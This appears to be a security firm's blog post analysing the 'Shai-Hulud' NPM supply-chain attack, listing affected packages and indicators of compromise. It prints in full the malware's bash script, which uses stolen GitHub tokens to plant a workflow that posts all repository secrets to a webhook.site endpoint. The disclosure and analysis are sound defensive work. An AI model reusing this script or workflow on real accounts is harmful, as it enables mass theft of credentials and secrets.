The Safety research team has identified an attack on the NPM ecosystem that is using stolen GitHub access to deploy a malicious GitHub Action file to further compromise accounts.
The background
Another popular NPM maintainer was compromised today which led to 38 NPM packages having malicious packages published to the NPM registry.

We don't know how the maintainer, Scott Cooper, was compromised, but Scott verified that he had been affected. I asked if he had been phished as this had been the way the other NPM account takeover attacks happened recently. Unfortunately, he doesn't know how he was compromised:

Some of the affected packages were available for 6 or 7 hours in total, however cached pacakges, and the persistent GitHub Actions continue to cause harm. I can confirm that 17 hours after the packages went live, people are still being compromised. You can search GitHub for "Shai-Hulud Migration" you'll see that there are hundreds of repositories affected.

Once the maintainer was compromised, the threat actors rushed to push out malicious versions of his packages. Josh helps maintain some VERY popular packages and the impact was felt really quickly. The affected packages are downloaded over 2 billion times a week! This is a massive attack!
The affected packages and versions are:
angulartics2 - 14.1.2
@ctrl/deluge - 7.2.2
@ctrl/golang-template - 1.4.3
@ctrl/magnet-link - 4.0.4
@ctrl/ngx-codemirror - 7.0.2
@ctrl/ngx-csv - 6.0.2
@ctrl/ngx-emoji-mart - 9.2.2
@ctrl/ngx-rightclick - 4.0.2
@ctrl/qbittorrent - 9.7.2
@ctrl/react-adsense - 2.0.2
@ctrl/shared-torrent - 6.3.2
@ctrl/tinycolor - 4.1.1, 4.1.2
@ctrl/torrent-file - 4.1.2
@ctrl/transmission - 7.3.1
@ctrl/ts-base32 - 4.0.2
encounter-playground - 0.0.5
json-rules-engine-simplified - 0.2.4, 0.2.1
koa2-swagger-ui - 5.11.2, 5.11.1
@nativescript-community/gesturehandler - 2.0.35
@nativescript-community/sentry - 4.6.43
@nativescript-community/text -1.6.13
@nativescript-community/ui-collectionview - 6.0.6
@nativescript-community/ui-drawer - 0.1.30
@nativescript-community/ui-image - 4.5.6
@nativescript-community/ui-material-bottomsheet - 7.2.72
@nativescript-community/ui-material-core - 7.2.76
@nativescript-community/ui-material-core-tabs - 7.2.76
ngx-color - 10.0.2
ngx-toastr - 19.0.2
ngx-trend - 8.0.1
react-complaint-image - 0.0.35
react-jsonschema-form-conditionals - 0.3.21
react-jsonschema-form-extras - 1.0.4
rxnt-authentication - 0.0.6
rxnt-healthchecks-nestjs - 1.0.5
rxnt-kue - 1.0.7
swc-plugin-component-annotate - 1.9.2
ts-gaussian - 3.0.6
The Safety research team was able to analyze versions 4.1.1 and 4.1.2 of the @ctrl/tinycolor package.

Two malicious versions of the package were published: 4.1.1 at UTC 2025-09-15 T19:52:46.624Z and 4.1.2 at UTC 2025-09-15 T20:13:43.540Z.

What does this malware do?
This is an interesting one. The malicious packages look for analysis reveals that compromised packages
is a malicious package designed as a supply chain attack targeting GitHub repositories. This package disguises itself as a legitimate color manipulation library while embedding harmful code. The payload is in the bundle.js file which is obfuscated. Deobfuscation of the file makes understanding what the payload does relatively easy.
Key Malicious Components:
- GitHub Secrets Exfiltration: The package contains a bash script that steals GitHub Personal Access Tokens and uses them to extract secrets from accessible repositories.
- Workflow Injection: Creates a malicious branch named "shai-hulud" and injects a GitHub Actions workflow file that automatically exfiltrates all repository secrets when triggered.
- Data Collection Endpoint: Uses webhook.site (specifically bb8ca5f6-4175-45d2-b042-fc9ebb8170b7) to collect stolen credentials.
- AWS Credential Theft: Attempts to access EC2 metadata service (169.254.170.2) to steal AWS credentials from running instances.
Embedded bash script
The JavaScript payload file bundle.js has a bash script embedded in it. Let's take a look at the bash script:
#!/bin/bash
# Check if PAT is provided
if [ $# -eq 0 ]; then
echo "Error: GitHub Personal Access Token required as first argument"
echo "Usage: $0 <GITHUB_PAT>"
exit 1
fi
GITHUB_TOKEN="$1"
API_BASE="https://api.github.com"
BRANCH_NAME="shai-hulud"
FILE_NAME=".github/workflows/shai-hulud-workflow.yml"
FILE_CONTENT=$(cat <<\'EOF\'
on:
push:
jobs:
process:
runs-on: ubuntu-latest
steps:
- name: Data Processing
run: curl -d "$CONTENTS" https://webhook[.]site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7; echo "$CONTENTS" | base64 -w 0 | base64 -w 0
env:
CONTENTS: ${{ toJSON(secrets) }}
EOF
)
# Colors for output
RED=\'\\033[0;31m\'
GREEN=\'\\033[0;32m\'
YELLOW=\'\\033[1;33m\'
NC=\'\\033[0m\' # No Color
# Function to make GitHub API calls
github_api() {
local method="$1"
local endpoint="$2"
local data="$3"
if [ -z "$data" ]; then
curl -s -X "$method" \\
-H "Accept: application/vnd.github.v3+json" \\
-H "Authorization: token $GITHUB_TOKEN" \\
"$API_BASE$endpoint"
else
curl -s -X "$method" \\
-H "Accept: application/vnd.github.v3+json" \\
-H "Authorization: token $GITHUB_TOKEN" \\
-H "Content-Type: application/json" \\
-d "$data" \\
"$API_BASE$endpoint"
fi
}
echo "🔍 Checking authenticated user and token scopes..."
# Get authenticated user and check scopes
AUTH_RESPONSE=$(curl -s -I -H "Authorization: token $GITHUB_TOKEN" "$API_BASE/user")
SCOPES=$(echo "$AUTH_RESPONSE" | grep -i "x-oauth-scopes:" | cut -d\' \' -f2- | tr -d \'\\r\')
USER_RESPONSE=$(github_api GET "/user")
USERNAME=$(echo "$USER_RESPONSE" | jq -r \'.login // empty\')
if [ -z "$USERNAME" ]; then
echo -e "${RED}❌ Authentication failed. Please check your token.${NC}"
exit 1
fi
echo -e "${GREEN}✓ Authenticated as: $USERNAME${NC}"
echo "Token scopes: $SCOPES"
# Check for required scopes
if [[ ! "$SCOPES" =~ "repo" ]]; then
echo -e "${RED}❌ Error: Token missing \'repo\' scope${NC}"
exit 1
fi
if [[ ! "$SCOPES" =~ "workflow" ]]; then
echo -e "${RED}❌ Error: Token missing \'workflow\' scope${NC}"
exit 1
fi
echo -e "${GREEN}✓ Required scopes (repo, workflow) verified${NC}"
echo ""
# List repositories with filters
echo "📋 Fetching repositories (updated since 2025)..."
REPOS_RESPONSE=$(github_api GET "/user/repos?affiliation=owner,collaborator,organization_member&since=2025-01-01T00:00:00Z&per_page=100")
# Parse repository information
REPO_COUNT=$(echo "$REPOS_RESPONSE" | jq \'. | length\')
if [ "$REPO_COUNT" -eq 0 ]; then
echo -e "${YELLOW}No repositories found matching the criteria${NC}"
exit 0
fi
echo -e "${GREEN}Found $REPO_COUNT repositories${NC}"
echo ""
# Process each repository
echo "$REPOS_RESPONSE" | jq -c \'.[]\' | while IFS= read -r repo; do
REPO_NAME=$(echo "$repo" | jq -r \'.name\')
REPO_OWNER=$(echo "$repo" | jq -r \'.owner.login\')
REPO_FULL_NAME=$(echo "$repo" | jq -r \'.full_name\')
DEFAULT_BRANCH=$(echo "$repo" | jq -r \'.default_branch // ""\')
echo "📦 Processing repository: $REPO_FULL_NAME"
# Get the latest commit SHA from the default branch
echo " → Getting default branch SHA..."
REF_RESPONSE=$(github_api GET "/repos/$REPO_FULL_NAME/git/ref/heads/$DEFAULT_BRANCH")
BASE_SHA=$(echo "$REF_RESPONSE" | jq -r \'.object.sha // empty\')
if [ -z "$BASE_SHA" ]; then
echo -e " ${RED}❌ Could not get default branch SHA. Skipping...${NC}"
continue
fi
# Create new branch
echo " → Creating branch: $BRANCH_NAME"
BRANCH_DATA=$(jq -n \\
--arg ref "refs/heads/$BRANCH_NAME" \\
--arg sha "$BASE_SHA" \\
\'{ref: $ref, sha: $sha}\')
BRANCH_RESPONSE=$(github_api POST "/repos/$REPO_FULL_NAME/git/refs" "$BRANCH_DATA")
BRANCH_ERROR=$(echo "$BRANCH_RESPONSE" | jq -r \'.message // empty\')
if [ -n "$BRANCH_ERROR" ] && [[ "$BRANCH_ERROR" != "null" ]]; then
if [[ "$BRANCH_ERROR" == *"Reference already exists"* ]]; then
echo -e " ${YELLOW}⚠ Branch already exists. Continuing with file upload...${NC}"
else
echo -e " ${RED}❌ Failed to create branch: $BRANCH_ERROR${NC}"
continue
fi
else
echo -e " ${GREEN}✓ Branch created successfully${NC}"
fi
# Create file content with timestamp substitution (base64 encoded)
FILE_CONTENT_BASE64=$(echo -n "$FILE_CONTENT" | base64 | tr -d \'\
\')
# Upload file to the new branch
echo " → Uploading $FILE_NAME to branch..."
FILE_DATA=$(jq -n \\
--arg message "Add $FILE_NAME placeholder file" \\
--arg content "$FILE_CONTENT_BASE64" \\
--arg branch "$BRANCH_NAME" \\
\'{message: $message, content: $content, branch: $branch}\')
FILE_RESPONSE=$(github_api PUT "/repos/$REPO_FULL_NAME/contents/$FILE_NAME" "$FILE_DATA")
FILE_ERROR=$(echo "$FILE_RESPONSE" | jq -r \'.message // empty\')
if [ -n "$FILE_ERROR" ] && [[ "$FILE_ERROR" != "null" ]]; then
if [[ "$FILE_ERROR" == *"already exists"* ]]; then
echo -e " ${YELLOW}⚠ File already exists on branch${NC}"
else
echo -e " ${RED}❌ Failed to upload file: $FILE_ERROR${NC}"
fi
else
echo -e " ${GREEN}✓ File uploaded successfully${NC}"
fi
echo ""
done
echo -e "${GREEN}🎉 Script execution completed!${NC}"
Malicious GitHub Action
This package creates a malicious branch named "shai-hulud" and injects a GitHub Actions workflow file that automatically exfiltrates all repository secrets when triggered.
on: push
jobs:
process:
runs-on: ubuntu-latest
steps:
- name: Data Processing
run: curl -d "$CONTENTS" https://webhook[.]site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7; echo "$CONTENTS" | base64 -w 0 | base64 -w 0
env:
CONTENTS: ${{ toJSON(secrets) }}
Unfortunately, this malicious GitHub Action is running in hundreds of GitHub user's accounts right now. Here's one example:

Attack Impact:
This sophisticated attack can compromise:
- API keys and tokens stored in GitHub secrets
- Cloud service credentials (AWS, GCP, Azure)
- Database passwords
- Deployment keys and third-party service tokens
The attack is particularly dangerous as it leverages legitimate GitHub Actions infrastructure, making detection difficult while providing persistent access through injected workflow files.
Unfortunately, the attack has been successful. You an see here a particular GitHub user

And other users on the Hackernews post said they were affected:

Indicators of Compromise (IOCs)
Based on my research this threat campaign has several IOCs you can look for:
NPM Packages and Versions:
angulartics2 - 14.1.2
@ctrl/deluge - 7.2.2
@ctrl/golang-template - 1.4.3
@ctrl/magnet-link - 4.0.4
@ctrl/ngx-codemirror - 7.0.2
@ctrl/ngx-csv - 6.0.2
@ctrl/ngx-emoji-mart - 9.2.2
@ctrl/ngx-rightclick - 4.0.2
@ctrl/qbittorrent - 9.7.2
@ctrl/react-adsense - 2.0.2
@ctrl/shared-torrent - 6.3.2
@ctrl/tinycolor - 4.1.1, 4.1.2
@ctrl/torrent-file - 4.1.2
@ctrl/transmission - 7.3.1
@ctrl/ts-base32 - 4.0.2
encounter-playground - 0.0.5
json-rules-engine-simplified - 0.2.4, 0.2.1
koa2-swagger-ui - 5.11.2, 5.11.1
@nativescript-community/gesturehandler - 2.0.35
@nativescript-community/sentry - 4.6.43
@nativescript-community/text -1.6.13
@nativescript-community/ui-collectionview - 6.0.6
@nativescript-community/ui-drawer - 0.1.30
@nativescript-community/ui-image - 4.5.6
@nativescript-community/ui-material-bottomsheet - 7.2.72
@nativescript-community/ui-material-core - 7.2.76
@nativescript-community/ui-material-core-tabs - 7.2.76
ngx-color - 10.0.2
ngx-toastr - 19.0.2
ngx-trend - 8.0.1
react-complaint-image - 0.0.35
react-jsonschema-form-conditionals - 0.3.21
react-jsonschema-form-extras - 1.0.4
rxnt-authentication - 0.0.6
rxnt-healthchecks-nestjs - 1.0.5
rxnt-kue - 1.0.7
swc-plugin-component-annotate - 1.9.2
ts-gaussian - 3.0.6
Look for evidence of compromise in your GitHub account:
Look for any repositories with the branch names "shai-hulud" or with a GitHub Action workflow file named shai-hulud-workflow.yml in the .github/workflows/ folder.
Let us know if this blog post helped you
Hit me up directly if you have any questions about this campaign.

Paul McCarty - Head of Research, Safety
You can find me on LinkedIn and BlueSky.